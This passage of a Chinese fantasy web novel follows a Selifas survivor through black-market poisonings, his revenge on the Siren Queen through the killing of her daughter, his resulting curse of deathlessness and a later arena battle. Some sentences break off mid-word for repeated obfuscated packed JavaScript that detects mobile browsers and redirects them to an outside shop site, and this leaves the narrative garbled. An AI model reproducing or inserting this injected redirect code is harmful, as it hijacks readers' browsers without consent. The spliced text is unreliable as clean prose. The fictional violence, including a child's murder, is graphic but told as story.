商品的哭声和尖叫在黑市里遍地都是,但那个塞利法斯发出的每一个音节都击穿他的神经,让他感觉血液逆流,心脏停跳,仿佛场地中被切下双角的是自己。 那些刽子手兴高采烈地议论着,“一笔大生意!”,塞利法斯的角羽能换取极其不菲的赏金。 女王如此执着于搜寻他们的角羽,这对翅膀真有如此稀奇?是否与她的强大有关系? 它们能成为施术的材料吗?能成为实现愿望的道具吗?是否落到任何人手上都有同样的效力? 但占有珍贵物件的贪婪很快会被人提醒:那是艾佩庇里亚的女王,她的眼睛能遍及世上每一处。 她要所有塞利法斯的角羽,任何一片不能落下。 也有人偷偷将猎获的角羽收藏留存,加以十七道反定位的法术,仍被女王发现,以逆反罪论处。 他们遗憾地咂咂嘴,接下来讨论如何让宝物不被人抢走,换取正当的酬劳。 在那些谈论中有人瞥了奄奄一息的塞利法斯一眼,问,那剩下这人怎么处理? ——放着吧,或者仁慈些,给他个痛快。塞利法斯没了角就没用处,放着也是等死。 血液在头脑积聚,他感到意识与身体几近分离,身体却走上前,用冷静的语调说:把他给我。 黑市里的人们看他一眼,认出他来,说:哦!那个怪癖的老古董身边的学徒,‘小医师’,你缺试验品了? 捕获这个塞利法斯的,正是黑市里雇佣医师的那位大人物。 那位大人物把他送到医师身边,期待他学成之后取而代之,遂那些下属对他也有些印象,算是自己人,便不计较这一点零头,随手把剩下的塞利法斯交给了他。 那塞利法斯还是个少年,比他长几岁,个子也高些,被搬动时却不显得沉重。他不认识这个人。 塞利法斯有很多。他的家人,他的朋友,他的乡邻,位于其他地方,他素不相识的同胞。 这个人是他们中之一。 但他的角已经被切断,他快要死了,成为无数死去的同族之一。 他也不知道自己在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689377|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 往常听见塞利法斯的消息,他都尽可能做出平常的反应,不想扯上关系被疑心。 因为不知道那些占卜塞利法斯所在的法术到底以什么为根据,只好尽可能地避免一切联系。 他到底还算塞利法斯吗? 是因为已经不算是了,占卜才至今没有找到他? 心跳得剧烈到几乎麻木,那种不顾一切的疯狂又让他希冀地想:如果只要失去角就不会再被找到了呢? 如果失去角之后好好照料,说不定能活下来呢? 就像活下来的他一样。 他研究毒药太久,对于治疗却显得陌生。 把那个少年搬上自己的床铺,翻箱倒柜去找能用的止血药粉,不进食也能帮人维生的药剂。 啊,还有治疗的魔法石,医师那里有一块不错的。 想到老师的一瞬间,他从那种疯狂里微微清醒。 医师不会赞同他做这种蠢事。 但是,万一,医师对他毕竟特别关照…… 就像连幻想的时间也是一种无法持久的奢侈,医师听说了黑市里的消息,过来问他:“你要救这个塞利法斯?” 他毕竟是太熟悉这个性情怪异的老师了。 以至于他足够能在听见这话时就迅速地想起,他为什么需要熟悉到这个地步。 医师的声音很冷,淡薄像他评价每一个试验品。 只因为医师对他说话有时和缓两分,他就有能被例外的错觉了。 医师说,伤得太重,救不了。塞利法斯失去角就会死,角以外的部分没用,没有救的价值。 医师看他一眼,说,你也断了角,因为这种同情心感到同病相怜了? 不必要。同情心是没用的东西。你聪明,也记得只有聪明有用。 他对着塞利法斯的少年又思量片刻:不过说回来……女王如此看重塞利法斯的角,角以外的部分真的没有特殊之处?抗药性,耐受性,或许会和其他人不同?在他死去之前,说不定还能用用看。 医师看向他问,你要试试手吗? . 没有什么不同的。 塞利法斯也只是人,切开身体时所感受到的每一分痛苦,都和正常人所体会到的没有不同。 . 他拿起手术刀,走到床铺前,切断了少年的颈动脉。 血液溅到他脸上。 医师冷冷地看着他。 他听见自己冷静的语气在说:抱歉老师,我考虑不周。他伤得这么重,药物试验结果会有偏差,还是不浪费时间了。我们找其他试验品吧。 他说话时直视着医师的眼睛。 医师喜欢他如此。 或许这段话里的逻辑确实可信,医师赞同,嘱咐他准备之后的实验材料,就离开了。 . 没有什么不同的。 . 无论是他对于医师,还是医师对于他来说。 这个人必须死,在他有能力独善其身,脱离这个地方之后。 虚假的温情和心软毫无意义,他只有一条命,现在更多背了一条。 活下来的人需要担负责任。他不能失误。 他擦拭完手术刀上的血,收敛了素不相识的同胞的遗体。 141.仇 他在那个黑市待了四年。 论毒药研制,他最终发现自己天赋仍然有限。 但他见过了真正的天才,这么多年下来,也能学得七八成像。他毕竟不打算真正取而代之。 医师作息习惯不佳,年岁也不轻,长期服着补药提神调养,因为信得过,早将这点事交给了他。 只是把补药换成烈毒,再简单不过。 他亲眼确认了老师的死亡,再在雇主的庆贺宴上用毒酒公平地送走了老师的仇敌。 离开黑市前清算了自己死亡名单上的对象,从此销毁了自己被调查出来历的路径。 他的魔法天赋很不错,在黑市时他一直有意隐藏,所以最后下毒异常顺利,因为他们不曾过多提防。 不同于一般魔法师有限的法术种类,他能使用的法术类型很多。 或许因为他的愿望是“复仇”,无所谓过程与代价,只要能实现,可以通过任何形式。 魔法只是实现形式的一部分,任何魔法只要有益于这目的就好。 . 离开黑市后,他走入城市,了解城市的规则,对黑市手段的熟悉为他提供过不少助益。 如今的艾佩庇里亚,哪一座城市都变化飞快,而因为过快的进步,就像激烈翻腾的河流,沙石灰土也会被掀起,致使处处混乱,泥沙俱下。 他通过和城市里的贵族打交道,学习他们的作风,了解他们的思维方法。 原本的口音会透露他的出身,他在交往中将自己的语言习惯纠正,直到最传统的贵族听了也会赞美他发音用语标准。 语言和行为习惯进一步模糊之后,他终于走进了推罗。 他过去无数次无数次在别人口中听见这座城市的辉煌,它的荣耀与宫殿中的女王密不可分。 幼时村里的长辈讲述塞壬女王带来的奇迹,她给许多有才能的年轻人创造的机会,他们因此能研发出那么多新奇的好东西,如何便利了人们的生活。 她改变了这个国家,让多少人为之受益。 即使有嫉妒者贬损诋毁,女王也从未负气置子民于不顾。 她永远待在推罗的王宫之中,只要人们需要,总能够找到她。 这样高尚的女王,真的是下令屠杀塞利法斯,害死他们的凶手,他要寻找的仇敌吗? 他不是没有怀疑过。 阅历渐长,他越来越清晰许多事的复杂之处,真相或许不是他第一眼所见的那样。 但是,这件事上,似乎没有一点需要辩驳的空间。 指向足够明显,证据多到比山还要高,连他魔法师的直觉都强烈地肯定着: 是的,女王就是罪魁祸首。 . 他是谁? . 他遇见许多人问他,他能回以无数不同的答案。 根据情境,根据目的。 何必那么较真呢,虽然哪个都不是完整的他,但又哪个都是他。 他对于给自己编造名字和经历的技能已经信手拈来。 无数人用不同的名字叫他,但每一个呼唤他的名字又都不指向他。 说起来,太久没有被提起,他也有点快忘记自己原本的名字了。 . 刚开始着手于扳倒女王的策划时,阻力还很强。因为拥护崇拜她的人比记恨她的人多。 而更直接的,是太多人畏惧她,即使是一流的魔法师,也完全无法想象她的上限,面对她如同面对深渊。 人们说如果人间有神明,最多也就是塞壬女王那样。 她如果继续在位,真有一天被供上神坛也不难想象。 可即使她真的是神又怎样? 如果生杀予夺是神的天权,那么神杀人就不需要被追罪,可以免于审判了吗? 人不能追责于天灾,但她分明活在人间。 她杀了人,当领人的罪。 . 在与那些利用对象攀谈结交,唆使对方反对女王时,他从许多人脸上看见相似的恐惧。 那恐惧望向他,似乎疑心和惊讶于他的决绝。 不同的人重复相同地问他:值得吗? 好奇怪的问题。 他从没想到有被人这么问的一天,还不止一回。 他同样思考过很多次:为什么所有人对塞利法斯的惨剧视而不见? 答案很简单:因为他们不是塞利法斯。 女王的悬赏将塞利法斯从人群中拎出来,立一个清晰可见的标准,将他们划分于人群之外。 被那标准所区分的少数,便是异类。 可标准并不针对多数人,标准既不损害他们的利益,也不危害他们的安全。 而女王能为他们带来更多奇迹,强大又令人畏惧,她对人们利益与安危的影响确切,那幸运的绝大多数自然团结一致,继续拥护她的统治。 即使有极少数有良知的同情者,假如不想被踢到“异类”那一侧,能做的也只有沉默。 故而庞大的人群缄默不言,安然无恙的绝大多数对与他们无关的悲剧视而不见。 想要从这一暴行中获利的人添薪加柴,惨剧便愈演愈烈。 他想,清晰明了,他自己也很清楚的道理。 为什么他曾经对医师心软过? 他分明见医师用过许多无辜的活人试药,漠视所有人的性命。 只是这样的作风在黑市里不罕见,但寻常不等于就是正确的。 只是因为医师对他不错。 毒药没有试在他身上,手术刀没有解剖他的尸体,他被屠夫宽容幸免,就要为这份宽容感激。 可同胞的境遇令他清醒了,意识到那份感激也是可憎的。 他在医师身边,没有能力主宰自己的性命,生死自由完全交予一个喜怒无常的凶手决定。 他没法救那个少年,甚至没办法救他自己。 彼时唯一能做的,只有尽早结束他的痛苦和生命。 “值不值得”,是还有退路的人才能衡量的选择。 人永远选择对自己有利的那一侧,无可厚非。 但他没得选。 他是被舍弃的那少数。 他没有退路,连可以回的家也早没有了。 . 他可以说沉默的那大多数人也是凶手吗? . 他整理了许多塞利法斯被屠杀的相关资料,一笔一笔记下谋害他们的家族、集体、个人,能报复的,就找机会报复回去。 那牵连的人和事比他想象中要广大无数,像一张细密的、覆盖了整个艾佩庇里亚的网。 凶手有家庭,为赏金而杀死塞利法斯,那么他们无辜却因此受益的家人,也该算作无辜吗? 他想他大约已经发了疯。 可他还没有疯到恨整个艾佩庇里亚的人。 . 他为了复仇,手上沾过太多人的血。 中间到底多少人只是无故受到牵连,他算不清楚,也没想要算个明白。 过多的同理心只招致不必要的软弱犹豫,犹豫会让他失败。 他是唯一活下来的人,他不能失败。 他清楚自己跟杀害塞利法斯的凶手们早已没有太大的不同。 即使他曾经是受害者,也是他自己选择拿起刀,自己选择成为加害他人的那一方。 他也厌憎这个轻视人命,满脑子阴谋算计,只求自我保全的自己。 但是,他已经为自己设计好了结局,理想的结尾让眼前的一切显得可以忍受。 只要能够杀死女王,他就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700396|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女王死去后结束自己的性命。 女王必须得到她该有的报应,他也一样。 . . 最后一个送到女王座前的塞利法斯,是在悬赏令下发三年后。 女王用塞利法斯们的角羽拼接成一块巨大的挂毯,从一面墙铺到另一面,满墙流溢的蓝色。 但挂毯中心有个空洞,一块明显的空缺,透出墙面的苍白,在满目粼粼蔚蓝之中,如此惹眼而不可忽视。 她说,还不够,还有塞利法斯没被找到。空缺还没有填上。 但没有人能找到更多塞利法斯了。 这场巨大的屠杀只成就了她房间里一件不完美的作品。 悬赏令下发六年后,女王烧掉了那个房间,燃尽了她收集的所有塞利法斯的角羽。 塞利法斯只是一个人数本就稀少的罕见种族。他们确实已经灭亡了。 但她的空缺还没有填上。 她很快可以下一份新的悬赏,让另外一群人成为下一个“塞利法斯”,同样的事情仍然无数次重演着。 . 开始有人说女王疯了。 但许多人都会想:她又不是第一天做那些疯事。 . 大部分人仍然是幸运的,在越发绚丽的奇迹中安享繁荣的盛况,但顾虑和不安终于蔓延到越来越多人心里,乃至许多有长久眼光的贵族终于在焦虑中恐惧。 女王的疯狂没有指向,她昨天降罪于他们的仇敌,明天可能就把罪责安到他们头上。 今天她为他们升爵赏赐,明天也可以把他们的对头拔擢到同样的位置。 这些不安让他的谋划顺利多了,可以利用的资源也增长了不少。 那些因为艾佩庇里亚近年的繁荣而壮大的几个大公爵,早有扳倒女王的心思,只是没有跟她撕破脸皮的胆气和本事。那样拥有越多的人越恐惧失去。 女王和他们相安无事,他们也就一直按兵不动,像在跟女王比谁的命长。 但民众普遍传说,塞壬女王数十年里容颜未改,年轻依旧。如果比拼耐心,她显然能直接熬死所有公爵。 他跟好几个大公爵多少打过交道,结论是:胆小鬼一号,胆小鬼二号,胆子稍微大点但也没大到哪里去的三号。 指望他们主动去扳女王是指望不上了,但类似他这种悖逆女王的行径,却能被公爵们睁一只眼闭一只眼地放纵。 他妥善利用这种便利,终于设计出最稳妥的杀死女王的方案。 他从古书中学来大量法术和法阵,加以修改,能实现很多超乎想象的用处。 许多效力极强的法阵设计说明中都讲到:要将作为阵脚的魔法石埋进地下,埋进地面深处,因为土地具有力量。 大地是地星的躯壳和根本,神话中,日月星辰万物都衍生自祂,所以祂的力量能压住万物。 地星的魔力是所有魔力的根源,如果能有效利用,就是真正取之不尽。 有一种法阵,便是基于这项理论。 如果阵型成功,就能够压制住法阵中心的魔法师,让其无法离开中心范围,并且无法使用魔法。 他认真研习了一番,用缩小的同类阵型进行了实验。 实验对象也是个强大的魔法师,但那个法阵将魔法师完全压制住了,只有作为法阵控制者的他不受影响。 他走进中心取走了那个法师的性命,轻松得异乎寻常。 他做事谨慎,完善了法阵设计后,尽量不引人注意地再次试验了两三回,终于确认好注意事项。 法阵圈定的范围越广大,压制的效力就越强。 塞壬女王是大陆上最强大的魔法师,任何人无法相匹。 那么,如果用一个能覆盖整座艾佩庇里亚国土的法阵来克制她呢? 142.终幕 最困难的是方案的设计,确定之后,实行起来却没那么复杂了。 他通过许多方式测定了坐标,一件有利的巧合,推罗本就在艾佩庇里亚国土中心。 他为这个巨大的法阵做了上千个阵脚,将那些魔法石沿着国土边境埋下。 为防止距离过远导致效力不足,或者范围确定不清晰的意外,他最终还在推罗城周围又埋了一圈,将这第二层法阵的中心严格限定在王宫的范围内。 范围越精确,作用力越大。 在推进计划,实行终幕的前夕,他一面通过自身与阵脚的联系确认它们仍然隐蔽有效,一面游荡于推罗城中。 他不敢距离女王太近,被她发现就会功亏一篑。 但除却杀死她之外,还有什么能报复她的事情吗? . 许多人说塞壬女王没有心,不知常人的悲怨苦痛。没有心的人无懈可击。 但传说女王对先国王用情极深,他们的爱情故事在民间广为人们熟知。 国王过世后,往日风流的女王就再没有寻觅情人的兴趣。 可国王过世后,女王没有一次去过他墓前,甚至他的葬礼也只露过一次面。 不管事实到底如何,国王毕竟是早死了。 她必然不怕鬼魂,如果是用情太深,又从没听见过她睹人思人的风流续集。 能让她算得上“特殊对待”的,只有她与先王留下的三个孩子。 她对这几个孩子不冷不热,从不主动见他们,偶尔收到见面的请求,也大都会拒绝,从没有什么明显的感情表示。 但是在他打听到的消息中,女王身边的仆佣有相似的证言: 女王有时会放空视线,没有表情地看着远处。每次细细一想,都是望着某一个王子公主庄园的方向。 她有时会忽然询问,她的某一个孩子近来如何。可得到答案后,又并不想见他们。 如果说她还有什么牵挂,什么常人的感情,应该就在那几个孩子身上。 女王夺走了他的家人,所以他回馈给她相同的痛苦。 多么公平。 . . 他听亚历克斯提过那个妹妹。 小公主跟哥哥也并不能正常交流,但亚历克斯仍然常去看她。 她大多时间昏睡,亚历克斯有时就在她床边读没有人在听的童话,仿佛向谁努力扮演一个好哥哥似的。 那或许是出于同病相怜。与正常而优秀的大王子相异,他们一样得不到母亲的关爱,一样不被他人重视,一样生长发育迟缓,像是卡在时间缝隙里,久久不能落下的过去的残片。 两个王子的先后身亡并没有引起多少对于小公主的重视。 人们认为那可怕的不幸出于政治,由此退一万步,身心如婴儿的小公主毫无政治价值。又有谁丧心病狂,非要取一个纯然无辜的幼童的性命? 如果小公主真有危险,塞壬女王已经失去了两个孩子,再怎么样,她也一定会保护剩下的女儿。 . 小公主的庄园寂静,人们在法术中昏睡。 这里兵力松散,甚至没有一个作为魔法师的护卫。 即使早知道小公主状态如此,女王也一直不愿意将她置于王宫侧殿,而将她放在一座远离王宫的庄园,派几个人替她打理。看起来荒唐好笑。 小公主的房间门大开着,他走进去,看见女孩坐在床上,却在周围昏迷的仆佣中醒着,望向他。 他第一次见到小公主。 宫廷记录做不了假,小公主出生在女王即位那年,至今已有二十岁。 可她看起来仍然和两岁差不多。 不会几个单词,常年卧于床铺,至今不能独自行走。 只有头发很长,黑色的,尾端泛蓝,微微带着波浪,蓝色的眼睛看着他。 他对小公主说:我带你去见你的母亲。 她仿佛听懂这话,没有表现出对陌生人的厌恶恐惧,向他张开手臂。 他抱着那个孩子走宫殿里最后一段路,一路上侍卫仆佣都昏睡。王宫里寂静,只有宫殿外的居民们声响热闹,遥遥传来。 他走到了女王的房间前。 他推开门。 扑面而来的仿佛是潮水。 冬天里窗外涌入的风,有着这个季节不该有的一丝热度。 房间里窗门打开,鲜艳的夕阳正从窗户坠落下去,半透明的白纱帘在风里翻飞,像泡沫的痕迹。 女王坐在窗边,向他回过头。 他从没有近距离见过她,这是他第一次看清塞壬的容貌。 她的长发是柔和的黑色波浪,发尾渐变成濡湿的蓝。 那双眼睛深蓝近黑,瞳孔却很浅,淡蓝色,发着光一样。 瞳孔下缘似乎破裂了,淡蓝自那缺口溢出,填满她下半只眼的虹膜,像一只眼在另一只眼中涨潮,深蓝和浅蓝的边界怪异地泾渭分明。 没有人们鼓吹的美艳近妖,也没有许多人恶意诋毁的丑陋可怖。 客观地说,漂亮得很平常。 只有岁月在她脸上确实没有痕迹,她看起来像是他的同龄人。 塞壬冷淡地,没有表情地望着这个突然闯入房间的人。 她问:“你是谁?” 最先回答问题的不是他,而是他带来的女孩的哭声。 小公主刚才还安静无言,见到母亲后却突然放声哭起来,大声地、反复地叫着——“妈妈!”。 她双脚触及地面,想要走向塞壬。 塞壬愣愣地看着她,仿佛茫然于梦中,有一瞬间下意识地伸了手,像要去扶那个距离自己遥远的、快要摔倒的孩子。 但刀刃从女孩脖颈划过,她摔倒在地上,哭声也永远地停住了。 塞壬仍然呆愣地望着她,看见鲜血从女孩脖颈流出,铺满地面。 仿佛还是没有意识到发生了什么,只有泪水一下子从她眼眶滑落,浸湿了她的衣角。 他的心情远比自己想象平静,握着刀刃的手也很稳,只有开口时声音却颤动着,仿佛那些积蓄已久的暴怒、痛苦,许许多多的情绪,都在那颤动后迟了一刻,才让他心脏开始自焚般狂热地跳动。 他说:“你还记得塞利法斯吗?” “被你害死的塞利法斯!” 听见那声音,塞壬缓慢地从地面的鲜血上抬起眼,望住他,一点一点,茫然从她脸上褪去。 仿佛很久以前见过他,仿佛这一刻认出了他是谁。 泪水还挂在她脸上,但塞壬望着他,笑起来。 她说:“谢谢你。” . . . 利利提亚又停住了,开始思索,如今也不介意把自己的思考历程直接说出来:“感觉没什么效果啊。” 西里斯脸上都是血,衣服也因为浸了太多血而格外沉重,喘息着沉默。 “给你造成的伤害倒是切实,虽然恢复得很快,恢复速度有波动,但没有稳定规律。 “只是重复叠加伤害,我都有点累了。而且,最奇怪的,”利利提亚看了自己的手心一眼,“我能够碰到你身上溢出的鬼魂,我的攻击也理应‘杀死’了它们。那么,被我杀死的应该被我吞噬才对。 “可是尝试了这么多次,我还没有吞食到你身上的任何一个鬼魂,太奇怪了。问题在哪里?” 他把手里的银线又变换了两次形体,变成剑,变成刀:“还以为会是简单直接的体力消耗战,结果最考验的还是动脑。你给答案不能给彻底点吗?……刚才开始就不说话了。好吧。” 利利提亚用刀背敲了敲额角:“鬼魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你只是‘笼子’,上着契约的锁,‘钥匙’不在你手上。 “你到底做了什么,能让那位海神女巫如此偏爱——或者,如此恨你呢?” . . . 塞壬从椅子上站起身,走向他。 她的脚步有些踉跄,摇摇晃晃,像初次踏上陆地,刚刚学会走路一样。 可那步伐又轻盈,浪花前涌般,踩过地面的血迹,向他飘荡来。 他下意识想要后退,却震惊地发现自己不能动弹。 法阵已经启动,塞壬不应该还能使用法术才对! 他把法阵的阵眼安在自己身上,设置在心脏。 他早就不准备活着离开这里。所以最后的步骤,只要是最有效、最可靠的就可以,不必顾惜将来,再在意其他。 可他忽然发现自己对于法阵的感应和联系断裂了,就像失去了对于自己心脏的控制。 他手里还握着那把沾血的刀,像是主动把它递到塞壬面前。 她流畅地伸手接过,刀子绕过他。 塞壬很高,比他还高些。她微微俯身,拥抱了他。 同时,刀刃刺穿了他的心脏。 可刀锋没有停下,它破出他躯体另一侧,尖端没进与他相贴的另一具躯体,扎进了塞壬胸口。 知觉缓慢地和他重新连接,心脏在刀上搏动。 痛觉的蔓延极迟钝,仿佛时间处于另一个维度。 在他耳边,女人的声音缓慢且温柔。 . . “——我祝福你,我亲爱的孩子。 “从此刀兵不能损害你,时间不能蹉跎你,死亡不能征服你。 “你将永不老去,永不消亡,长长久久地—— . . . . . . “一个人活下去。” 143.空地狱 醒来的时候,他有片刻以为自己来到了地狱。 天空是红色,四下寂寂。 他推开身上的瓦砾,发现自己身处废墟之上。 放眼望去,甚至觉得周围空旷,熟悉又陌生。 王宫坍圮,城里许多屋宇破碎,尚存的建筑也灰暗地沉默。 最繁荣喧哗的城市推罗,在极深的夜晚中,在最肃穆的时间里,也没有一刻如现在寂静。 没有笑声,没有哭声,没有叫喊,像一片无人的真空。 那寂静里声音渐渐响起来,像密密的、细小的雨点,声音越来越响,雨声越来越大,在这只有他一个人存在的废墟上,却热闹得像世上无数个拥挤而痛苦的角落。 回响在他头脑之中。 天上确实在下雨。 那雨是红色的。淅淅沥沥,快要停下。 推罗的头顶有着巨大的、水凝成的天幕,此刻那天幕不见了,视野仿佛被水流洗涤过那样干净。 天上的红和浸着红的流云安然且美丽,美丽得残忍。 知觉从指尖、从眼睛,甚至从发丝上传来,如此真实。 他能感知到周围的一切,甚至比他从前能看到的全部还要细微和清楚。 他懵然良久,在那片令人困惑的、喧哗的人声中离开废墟,一时仿佛有些忘记如何行走。 他走上街道,走过每一扇大开的门,门内没有任何人。 镀在事物上的红色的光使一切如在一场陈旧而破碎的梦中,生机的痕迹仿佛是很久远之前留下的,只剩下散乱的刻痕。 一具巨大的骨架在街面上躺着,两排肋骨伸向天空,断裂了几根,仿佛鱼搁浅于陆上腐朽。他经过巨鱼的骨架。 地面的石块尖锐,脚掌上的痛感却很麻木。 他走过一幢又一幢曾经富丽堂皇的屋宇,他曾认识的一些地方。 铁在雨水里生锈,仍然反光,故事里永不腐朽的黄金却不见踪影。 世上没有点石成金的法术,只有幻觉和更牢固的幻觉。 而带来幻觉的魔法师消失了,奇迹也就全都被带走。 世上本就没有真正的黄金之都。 他低下头,看见自己赤着双脚,走来之处留下一排排鲜血的脚印。 但他身上没有伤口,一处新鲜的都没有。 只有陈年的疤痕仍然攀在身上,如同那对永不可能恢复的双角。 他听见身体里无数道声音重叠,涟漪叠着涟漪,漫开又在碰到墙壁时折返,回声叠着回声。 只有他听得到。 痛苦的地狱在他身体之内,他却还走在这空空的人间。 . 他比那里任何一个人都应该死去,但为什么只有想要死去的他活了下来? 为什么又只有他一个人活下来? . 刚开始,他也以为,只要叠加死亡的次数就好了。 “再生应该是有限度的”,只要杀死自己足够多次,再怎么样都应该死掉了。 所以很简单地,他开始无数次重复自杀。 刚从痛觉中恢复,就杀死自己下一次,不必思考任何多余问题,重复动作就好。 直到有一次死亡的黑暗环绕他足够长,他甚至放下心,以为自己成功了。 可他再次醒来,安然无恙。 而周围陌生的一切破碎毁坏,满目狼藉。 在他失去意识期间的记忆回流到他脑海,他知道这些破坏确是由他自己亲手造成的。 一旦他彻底失去意识,身体里那些混乱的鬼魂的意志就会占据上风。 他们全都不甘死去,这具身体便只剩下渴望活着的本能,无差别攻击毁灭周围的一切,清除所有可能存在的威胁,甚至移动到与昏迷时相距很远的地方,为求自己的安全。 他失去意识时就像又深眠了一场,所受的伤害在期间就会全部复原,仿佛一切从未发生,只有对周围造成的伤害确确实实,绝不只是空梦。 那段时间里,不管在他身边的是任何人,即使非他本意,他也一定会杀死他们。 就像赤砂的结局那样。 所以仅仅重复杀死自己不能达成目的,还会牵连到更多人。 他害死的人已经够多了。 即使他必须死去,也不该再拉更多人陪葬了。 . . 但是,今天是个不错的场合。 西里斯想。即使他在这里失控,艾玛就在旁边。这里是月神的神殿。或许她做得到。 他总想再等一等,给艾玛多一些时间。 现在的她还远远比不上当年的塞壬,贸然尝试风险太高。他们机会都不多,未必担得起失败的后果。 他的灵魂仍然完整,自那日后,身上至今未添一道新疤痕。 但无数次死亡的痛苦,日复一日里回响的呓语,渴望死去的迫切、焦灼与愤怒,它们都在均匀稳定流逝的时间中反复磨损他的理智。 他或许真的不会死,真的死不了,可他也真的离疯掉不远了。 或许就在下一次死亡,或许就在下一回死亡次数上限之后的失控。 如果他真的疯了,如果艾玛亲眼看见他变成那种没有神智、无药可救、一心求存的怪物。 或许她也终于能下定决心,杀死他,就像他们约定的一样。 . . 利利提亚预警危险的直觉敏锐,在西里斯发生异常的开始就有所察觉,立刻拉远了距离。 ——法术反应速度进一步加快了。 攻速提高,精准度却下降,攻击覆盖范围扩大,以自身为中心向外延伸,甚至没有再集中在原本明确的对手身上,反而有些向着观众席去了,仿佛周围一切都成了他的假想敌。 差不多到上限了吗。 利利提亚想。并不是很意外。 即使是女巫的诅咒,也必然有其要遵守的规则。 能重生的东西就能毁灭,何况西里斯完全有着被定义为“人”的躯体,也有人的构造。 即使是看似永动的循环,期间也必有磨损,只要累积这种磨损,崩溃是可以预见的。 不过,还是很棘手。 即使西里斯真的崩溃了,从这个趋势看来,他的危险性反而提高。 原本用意识思考战斗,还有从思考到反应的延迟,看起来失控会让他的行为模式趋近生物本能,反射性的攻击反而更难对付了。 但是,困难的事也富有挑战性。利利提亚不讨厌难题。 无论如何——多难得的机会! 即使是敌国上千魔法师组成的军队,也没有他一个来得麻烦。 往常战斗总是结束得太快了,他总是遗憾。 利利提亚倾转手里的长剑,剑刃在碰到他手心前变化了形状,他把兵器换回了镰刀。 西里斯周围的鬼魂也开始变化,它们向着中心凝聚过去,半透明的集体渐渐染上黑色,仿佛被本体渡让了实质。 而西里斯的身形开始模糊,像逸散到周围的鬼魂中,逐渐看不清轮廓了。 从哪里着手呢? 利利提亚思考。对他来说唯一有利,也有实行性的计划,仍然从鬼魂切入。 鬼魂集体和西里斯既然是两个部分,就有分离的可能。瓶子和水虽然不相关,但未必没有互相影响。 将水倒空之后,瓶子也更容易摧毁。 切断他和鬼魂之间的联系? 他所有的魔法天分与愿望集中于斗争和毁灭,又吞噬过数千的鬼魂,在战斗上的强度可以与女巫比拟。 但要认为只是这样就能和真正的女巫相较,那还是太狂妄,更不要说对面是那位载于史册,百年前震慑整片大陆的女王。利利提亚很清醒。 但是,有尝试的价值。 只要能将西里斯身体中的鬼魂分离出来,脱离诅咒的限制,哪怕是部分——利利提亚就能吞噬掉那些部分。 如此之多的鬼魂,哪怕只吃掉一部分,对他来说也是极大的增益。 通过蚕食对方,壮大自己,持续下去,强弱的平衡就会倾斜,直至颠倒。 利利提亚订好计划,握上刀柄,盯着舞台中心正在失控的怪物,向前迈步。 危机预警掠过他心头。 他很分明地注意到了那道攻击的轨迹,他应该避开,可以避得开。 可在意识到这道攻击来自谁的那瞬间,他今天第一次犹豫。 尖锐如冰棱的法术具象瞬间刺穿了利利提亚胸口。 冰棱切面上流过鲜艳的血,在月色下泛着寒冷的光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709793|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后数道银线扎穿他手臂,刺入他双腿。 攻击连续,毫无迟疑,每一个位置都准确。 银线织成的兵刃在利利提亚手里消散,受到的伤势让他无法保持站立,跌倒在地上。 他吐出一大口血。 “够了。” 熟悉的声音,不熟悉的语调。 胸口剧痛,牵连的每一根神经都发疼,呼吸时冰冷的空气流进肺部,痛感让他不住咳嗽。 利利提亚一边咳,掩住嘴,却笑起来,笑得颤抖。 他说:“您——生气了?” 艾玛站在他旁边,没有表情地看着利利提亚。 但那冰冷的沉默很重。 一种躁动的、灼热的情绪在她血管里流动,盖过恐惧带来的寒意,让艾玛生出一种坚硬的肯定。 她第一次如此清楚明确地知道,自己此刻“想要”做什么。 艾玛从未体会过这种情绪。 她有点明白了,这种情绪是“愤怒”。 原来她也会愤怒。 她从利利提亚身上移开视线,看向场地中心的西里斯。 “不明智哦。”利利提亚咳着笑道,“议会在看着呢。” “要害避开了。我暂时不想杀你。”艾玛转过身,向场地中心走过去,“但你最好闭上嘴,别让我改变主意。” . . 艾玛向西里斯走过去。 法术攻击全部被她用法术防下来,很轻易。 在沙漠中遇见敌人的时候,她几乎没有应敌。 因为西里斯在,她相信他能够解决。 但同样的事,她从来不是做不到。 对女巫来说,这样的法术简单如同呼吸。 利利提亚的法阵效力还在持续。 对于月神女巫而言,这个阵法没有削弱效果,并且保证了她仍然能看见那些鬼魂的形体。 